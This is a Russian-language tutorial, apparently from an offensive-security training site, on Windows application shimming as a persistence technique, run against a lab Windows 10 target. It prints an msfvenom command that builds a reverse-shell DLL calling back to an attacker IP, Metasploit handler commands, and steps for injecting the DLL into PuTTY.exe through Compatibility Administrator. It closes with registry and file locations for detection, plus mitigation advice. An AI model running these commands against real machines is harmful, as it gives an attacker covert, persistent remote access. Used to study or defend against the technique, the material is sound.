Гостевая статья Тестирование Windows используя Application Shimming

Application Shimming - это метод, используемый в ОС Windows, который позволяет приложениям, разработанные для более ранних версий ОС Windows, продолжать работу в последней версии Windows.

Содержание
  • Вступление
    • Что такое приложение Shimming?
    • Как работает Application Shimming?
  • Конфигурации, используемые в практических
  • Постоянство с помощью приложения Shimming
    • Создание вредоносной библиотеки DLL
    • Внедрение вредоносных DLL
    • Установка зараженного исполняемого файла
    • Получение стойкой оболочки
  • Обнаружение
  • Что предпринять
Вступление
Что такое Shimming?

Начиная с ранних версий Microsoft Windows, были некоторые фундаментальные функции, которые были частью основных функциональных возможностей Windows. Одним из них является их «Обратная совместимость».Если ваше программное обеспечение было разработано во времена Windows XP, а теперь у нас есть Windows 10, и вы беспокоитесь, сможет ли он запустить этот программный продукт, после обновления. Здесь в игру вступает обратная совместимость. Это дает нам возможность запускать программное обеспечение в ОС Windows, которое не было разработано для этой конкретной ОС.

«Инфраструктура Shim» помогла пользователям получить обратную совместимость. Теперь нужно помнить, что на протяжении всех этих лет разработки Windows сохраняла свою базовую архитектуру одинаковой. Они развивались по той же схеме, с которой начали работать в начале девяностых. Это означает, что в Windows 10 все еще есть фрагменты кода, существовавшие со времен Windows 95.

Как оно работает?
Инфраструктура Shim применяет метод перехвата интерфейса прикладного программирования (API). Это вынуждает связывать перенаправляющие вызовы API из самой Windows с альтернативным кодом - самой оболочкой. Спецификация Windows Portable Executable (PE) и Common Object Format (COFF) включает в себя несколько заголовков, а каталоги данных в этом заголовке обеспечивают уровень косвенности между приложением и связанным файлом. Вызовы внешних двоичных файлов осуществляются через таблицу адресов импорта (IAT). Следовательно, вызов в Windows выглядит как изображение, показанное ниже для системы.

1 (1).png

Мы можем изменить адрес функции Windows, зафиксированной в таблице импорта, а затем заменить ее указателем на функцию в альтернативном коде подстановки, как показано на рисунке ниже.
2 (1).png

Это косвенное обращение происходит в статически связанных DLL-файлах при загрузке приложения. Вы также можете использовать динамически связанные DLL-файлы, подключив их к API.

Конфигурации, используемые в практике
Хакер:
ОС:
Kali Linux 2019.4
Инструменты: ,
Цель:
ОС:
Windows 10 (сборка 1909 г.)
Инструменты: ,
Вы можете скачать Инструменты, нажав на их имя.


Приложение Shimming может выполнять много функций, но сейчас мы сосредоточимся на том, чтобы получить оболочку в целевой системе. Этот метод был протестирован в лабораторно-контролируемой среде, настроенной на минимальные помехи. Реальный сценарий реальной жизни может отличаться.

Создание вредоносной библиотеки DLL
Чтобы начать эксплуатацию, мы решили создать полезную нагрузку, используя инструмент MSFVenom. Мы использовали полезную нагрузку reverse_tcp с целевым назначением Windows System и получением оболочки. Мы определили LHOST для IP-адреса для атакующей машины, за которым последовал последующий LPORT, на котором мы будем получать сеанс от целевой машины. Мы создали эту полезную нагрузку в форме библиотеки динамических ссылок или DLL и назвали ее inject.dll

msfvenom -p windows/shell/reverse_tcp lport=9999 lhost=192.168.1.2 -f dll > inject.dll

3 (1).png

Как уже говорилось в разделе «Используемые конфигурации», нам нужен комплект для оценки и развертывания Windows. После загрузки и установки у нас есть сервис внутри него. Это называется администратором совместимости. Нам понадобится это, чтобы продолжить.

Теперь на нашей атакующей машине мы перенесли недавно созданную DLL на целевую машину. Для этого мы используем однострочник Python. Есть много способов сделать это. Мы запускаем Multi/Handler на компьютере атакующего с правильной конфигурацией для получения сеанса, который будет сгенерирован в ближайшее время.
Код:
python -SimpleHTTPServer 80
msfconsole
use multi/handler
set payload windows/shell/reverse_tcp
set lhost 192.168.1.2
set lport 9999
run
Внедрение вредоносных DLL
Теперь мы переключим наше внимание на целевую машину. После просмотра IP-адреса атакующего компьютера и загрузки вредоносного DLL-файла мы открываем Администратора совместимости, как показано на рисунке ниже. Здесь мы используем 32-битную версию, так как к ней проще привязать DLL. Мы также создали новую пользовательскую базу данных.

4 (1).png

Теперь мы начинаем процесс связывания безопасного и оригинального исполняемого файла без вредоносного DLL-файла. Мы щелкнули правой кнопкой мыши на нашей вновь созданной базе данных и выбрали первый вариант в выпадающем меню под названием Создать новую. Это приводит к открытию раскрывающегося меню. Мы выбираем опцию исправления приложения, как показано на рисунке ниже. Мы также можем использовать ярлык, нажав клавиши Ctrl и P одновременно.
5 (1).png

Как только мы нажимаем на эту опцию исправления приложения, у нас появляется окно конфигурации под названием «Создать новое исправление приложения». Мы вводим название Программы, которое должно быть зафиксировано как «заплатка». И мы предоставляем путь исполняемого файла к программе, в которую мы хотим внедрить нашу вредоносную DLL. В этом случае мы указываем путь к PuTTY.exe и нажимаем Далее.
6 (1).png

Теперь нас спрашивают режимы совместимости. Это было бы важно, если бы мы исправляли подлинный исполняемый файл. Или используя Shimming для подлинных целей. Поскольку мы этого не делаем, мы пропустим этот шаг и нажмем кнопку «Далее» и продолжим.
7 (1).png

Сейчас мы на важном этапе. Нам задают исправление совместимости, которое мы хотим применить к исполняемому файлу. Мы выбираем опцию «InjectDll» из списка, как показано на рисунке ниже. После установки флажка мы нажимаем кнопку «Параметры», чтобы указать путь к вредоносной DLL, которую мы создали в начале эксплуатации.
8 (1).png

Это открывает новое маленькое окно с запросом командной строки. Здесь мы указываем путь к нашей вредоносной DLL и нажимаем кнопку ОК.
9 (1).png

Вернувшись в окно конфигурации, мы нажимаем кнопку «Далее», и теперь перед нами панель «Соответствующая информация». Мы нажимаем кнопку «Отменить выбор всех», так как не хотим добавлять дополнительные конфигурации в полезную нагрузку. Наконец, мы нажимаем кнопку Готово.
10 (1).png

Это закрывает окно конфигурации. Мы вернулись к нашему окну совместимости администратора. Мы нажимаем кнопку Сохранить, как показано на рисунке ниже, чтобы вставить нашу DLL в исполняемый файл PuTTY.
11 (1).png

Нас просят назвать базу данных, мы называем ее puttyshim. Это может быть что угодно. В реальной жизни атакующиq выбирают имя, которое менее заметно.
12 (1).png

После присвоения имени базе данных у нас спрашивают место, куда мы хотим сохранить базу данных AppCompat или файл .sdb полной конфигурации.
13 (1).png

Установка зараженного исполняемого файла
Теперь, когда это сделано, мы установим зараженный исполняемый файл на целевой машине. Это можно сделать, щелкнув правой кнопкой мыши на имени базы данных и выбрав опцию Install из выпадающего меню.

14 (1).png

Это инициирует процесс установки, который установит наш зараженный исполняемый файл в качестве службы. Мы видим это в разделе «Программы и компоненты» на панели управления, как показано на рисунке ниже. Если бы мы добавили информацию об издателе или поставщике на более раннем этапе, она появилась бы здесь.
15 (1).png

Получение оболочки
Как только мы запустим программу на целевой машине, мы получим оболочку на нашей атакующей машине, как показано на рисунке ниже. Мы можем добавить зараженный сервис в список запуска, чтобы получать оболочку каждый раз при перезагрузке целевой системы.

16.png

Это завершило эксплуатацию. Теперь поговорим о защитных механизмах.

Обнаружение
Есть много доступных инструментов, которые могут обнаружить приложения, которые были установлены.

  • Shim-File-Scan ner: сканирует файлы / папки на наличие нестандартных прокладок и проверяет реестр на наличие установленных прокладок
  • Shim- Process-Scanner: будет искать во всех процессах флаги shim, а также проверять помощник Shim App
Кроме этого, процесс подкладки создает кровавый след, который ведет прямо к дымящемуся пистолету, который называется подкладкой. Shimming создает пробную версию внутри Реестра в следующих местах.

  • HKLM \ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ \ Microsoft \ Windows NT \ CurrentVersion \ AppCompatFlags \ Custom
  • HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AppCompatFlags \ InstalledSDB
Помимо реестра, у нас есть несколько мест на дисках, где мы можем найти доказательства применения Shimming.

  • C: \ Windows \ AppPatch \ Пользовательские \
  • C: \ Windows \ AppPatch \ Пользовательские \ Custom64 \
Мы также можем создавать пользовательские правила Yara и правила, которые могут обнаруживать приложения Shimming.

Как защититса:
1)Как всегда, первая линия защиты от любых атак - это обновление нашей инфраструктуры и устройств. Microsoft выпустила этот для ограничения приложения Shim для обхода UAC.
2)Некоторые инструменты, такие как в разделе «Обнаружение», могут быть использованы для уменьшения шиммирования приложений.
3)Shim-Guard: обнаруживает и предупреждает о новых установленных прокладках
4)Мы также можем внедрить строгие политики UAC, чтобы уведомлять, когда пользователь получает повышенные привилегии.

Источник:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!